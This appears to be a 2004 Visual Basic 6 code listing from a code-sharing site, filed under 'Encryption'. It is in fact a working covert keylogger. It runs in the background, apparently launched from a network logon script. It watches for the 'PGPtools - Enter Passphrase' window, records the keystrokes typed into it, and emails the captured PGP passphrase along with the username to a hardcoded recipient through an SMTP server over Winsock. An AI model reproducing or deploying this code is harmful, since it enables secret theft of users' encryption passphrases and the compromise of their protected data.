by SysOp (1 Submission)
Category: Encryption
Compatability: VB 6.0
Difficulty: Unknown Difficulty
Originally Published: Wed 26th May 2004
Date Added: Mon 8th February 2021
Rating: 
(1 Votes)
Wait for a window with the caption 'PGPtools - Enter Passphrase' Runs in the background (start in netlogon batch) when ...passphrase appears
API Declarations
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Dim str As String
Dim lastkey As Integer
Dim Progress
Dim Green_Light As Boolean
Dim DATAFile As String
Dim Helo_Ok As Boolean
Dim do_cancel As Boolean
VBcoders
Sub Pause(Seconds As Single)
On Error GoTo PauseErr
Dim PauseTime, Start
Start = Timer ' Set start time.
Do While Timer < Start + Seconds
DoEvents ' Yield to other processes.
Loop
PauseErr:
Exit Sub
End Sub
Private Sub Form_Load()
If UCase$(Environ$("USERNAME")) = "YOUR NAME" Then End
End Sub
Private Sub Timer1_Timer()
On Error GoTo Timer1Err
For i = 30 To 255
If GetKeyState(i) < 0 Then
If lastkey <> i Then
str = str & LCase$(Chr$(i))
lastkey = i
End If
End If
Next
Timer1Err:
Exit Sub
End Sub
Private Sub Timer2_Timer()
On Error GoTo Timer2Err
If FindWindow(A$, "PGPtools - Enter Passphrase") > 0 Then
Timer1.Enabled = True
Else
'Take Action
Timer1.Enabled = False
If Len(str) > 0 Then
str = Environ$("USERNAME") & "'s PGP passphrase: " & str
Winsock1.Close
Winsock1.RemoteHost = "192.168.1.1" ' Your smtp server
Winsock1.RemotePort = 25 ' Your port
Winsock1.Connect
Pause (1) 'Seconds (single)
'Valid domain (at least for our own smtp)
Winsock1.SendData "MAIL FROM: " & Environ$("USERNAME") & "@bajs.nu" & Chr$(13) & Chr$(10)
Do While Progress <> 1
DoEvents
Loop
Winsock1.SendData "RCPT TO: [email protected]" & Chr$(13) & Chr$(10)
Do While Progress <> 2
DoEvents
Loop
Winsock1.SendData "DATA" & Chr$(13) & Chr$(10)
Do While Progress <> 3
DoEvents
Loop
Winsock1.SendData "SUBJECT: " & Environ$("USERNAME") & "'s PGP Phrase" & Chr$(13) & Chr$(10)
Winsock1.SendData Chr$(13) & Chr$(10)
Winsock1.SendData str & Chr$(13) & Chr$(10)
Winsock1.SendData Chr$(13) & Chr$(10) & "." & Chr$(13) & Chr$(10)
Do While Progress <> 4
DoEvents
Loop
Winsock1.SendData "QUIT" & Chr$(13) & Chr$(10)
Winsock1.Close
str = ""
Progress = 0
Else
End If
End If
Timer2Err:
Winsock1.Close
Exit Sub
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim Reply
On Error GoTo retry:
retry:
Winsock1.GetData DATAFile
On Error Resume Next
Reply = Mid(DATAFile, 1, 3)
' this is cleaner, alot less If/Then's, if we handle
' all of the replies in a select/case
Select Case Reply
Case 250, 354
Progress = Progress + 1
Helo_Ok = True
Case 220
Green_Light = True
Case 503
Case 451
End Select
Exit Sub
End Sub
No comments have been posted about Wait for a window with the caption 'PGPtools - Enter Passphrase' Runs in the background (start in n. Why not be the first to post a comment about Wait for a window with the caption 'PGPtools - Enter Passphrase' Runs in the background (start in n.
